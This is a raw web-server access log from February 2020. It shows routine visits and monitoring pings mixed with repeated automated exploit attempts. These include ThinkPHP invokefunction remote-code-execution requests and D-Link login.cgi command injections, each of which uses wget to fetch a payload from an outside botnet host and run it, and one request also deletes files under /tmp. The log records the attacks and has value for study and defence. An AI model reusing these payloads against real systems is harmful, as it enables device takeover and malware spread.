37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.86/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.81/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.89/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
37.49.231.116 - - [04/Feb/2020:04:55:42 +0100] "GET /HNAP1/ HTTP/1.1" 404 311 "http://212.91.246.85/" "Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
118.71.68.133 - - [04/Feb/2020:04:56:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.35.173.108 - - [04/Feb/2020:04:56:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
78.85.197.10 - - [04/Feb/2020:04:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.55.174.81 - - [04/Feb/2020:04:59:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.40.191.116 - - [04/Feb/2020:05:00:41 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:41 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:41 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:42 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:42 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:43 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:44 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.116 - - [04/Feb/2020:05:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.39.219.165 - - [04/Feb/2020:05:02:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.47.189 - - [04/Feb/2020:05:05:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.113.82 - - [04/Feb/2020:05:05:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.217.235 - - [04/Feb/2020:05:05:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.102.64.137 - - [04/Feb/2020:05:07:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.213.31 - - [04/Feb/2020:05:08:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.56.138 - - [04/Feb/2020:05:08:24 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
1.55.174.213 - - [04/Feb/2020:05:09:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.62.21.223 - - [04/Feb/2020:05:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
187.136.46.13 - - [04/Feb/2020:05:18:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.154.92 - - [04/Feb/2020:05:21:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.155.237 - - [04/Feb/2020:05:21:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
143.0.247.253 - - [04/Feb/2020:05:23:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.216.24.51 - - [04/Feb/2020:05:24:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.52.18.239 - - [04/Feb/2020:05:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.154.33 - - [04/Feb/2020:05:28:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.223.46 - - [04/Feb/2020:05:30:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.20 - - [04/Feb/2020:05:32:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.112.150.207 - - [04/Feb/2020:05:33:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
147.30.172.85 - - [04/Feb/2020:05:33:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.124.65 - - [04/Feb/2020:05:40:20 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:05:40:21 +0100] "GET / HTTP/1.1" 200 1229 "https://jobgirl24.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:05:40:21 +0100] "GET / HTTP/1.1" 200 1229 "https://jobgirl24.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:05:40:21 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:05:40:21 +0100] "GET / HTTP/1.1" 200 1229 "https://jobgirl24.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.124.65 - - [04/Feb/2020:05:40:21 +0100] "GET / HTTP/1.1" 200 1229 "https://javcoast.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; .NET CLR 2.0.50727)"
217.218.250.158 - - [04/Feb/2020:05:41:12 +0100] "" 501 315 "-" "-"
1.54.14.82 - - [04/Feb/2020:05:48:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.32 - - [04/Feb/2020:05:57:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.230.97 - - [04/Feb/2020:06:01:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.74.115 - - [04/Feb/2020:06:02:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.221.38 - - [04/Feb/2020:06:03:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.170.31 - - [04/Feb/2020:06:06:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.214.53 - - [04/Feb/2020:06:08:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.166.1.110 - - [04/Feb/2020:06:10:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.19.236.108 - - [04/Feb/2020:06:11:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
192.141.234.82 - - [04/Feb/2020:06:11:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.83.36 - - [04/Feb/2020:06:13:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.46.61.245 - - [04/Feb/2020:06:14:07 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
118.68.141.37 - - [04/Feb/2020:06:14:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.46.61.245 - - [04/Feb/2020:06:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
54.149.98.75 - - [04/Feb/2020:06:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
60.27.19.196 - - [04/Feb/2020:06:16:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.180.208.154 - - [04/Feb/2020:06:18:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [04/Feb/2020:06:18:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [04/Feb/2020:06:18:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [04/Feb/2020:06:18:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [04/Feb/2020:06:19:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.58.245.85 - - [04/Feb/2020:06:19:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.120.227.242 - - [04/Feb/2020:06:22:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.98.79 - - [04/Feb/2020:06:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.147.227 - - [04/Feb/2020:06:26:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.11.28.22 - - [04/Feb/2020:06:30:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
81.191.134.206 - - [04/Feb/2020:06:33:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.235.33.22 - - [04/Feb/2020:06:36:14 +0100] "GET /filestreamingservic\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 320 "-" "Unstable/2.0"
75.87.91.110 - - [04/Feb/2020:06:40:28 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 325 "-" "Help"
183.80.15.220 - - [04/Feb/2020:06:41:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.234 - - [04/Feb/2020:06:42:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.102.49.193 - - [04/Feb/2020:06:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
94.102.49.193 - - [04/Feb/2020:06:43:41 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
94.102.49.193 - - [04/Feb/2020:06:43:46 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
94.50.16.78 - - [04/Feb/2020:06:46:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.228.98.130 - - [04/Feb/2020:06:46:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.75.220 - - [04/Feb/2020:06:47:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.28.234 - - [04/Feb/2020:06:48:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.27.187.117 - - [04/Feb/2020:06:49:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
133.202.165.131 - - [04/Feb/2020:06:55:49 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://91.208.184.71/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
42.117.213.8 - - [04/Feb/2020:06:59:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.177.231.58 - - [04/Feb/2020:07:01:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
80.191.184.162 - - [04/Feb/2020:07:01:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:07:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:07:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.221.168 - - [04/Feb/2020:07:04:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:07:05:13 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
183.80.131.123 - - [04/Feb/2020:07:05:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.163.213.156 - - [04/Feb/2020:07:05:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.75.154 - - [04/Feb/2020:07:06:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:07:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.42.181.0 - - [04/Feb/2020:07:07:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:07:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.239.214.15 - - [04/Feb/2020:07:07:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:07:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
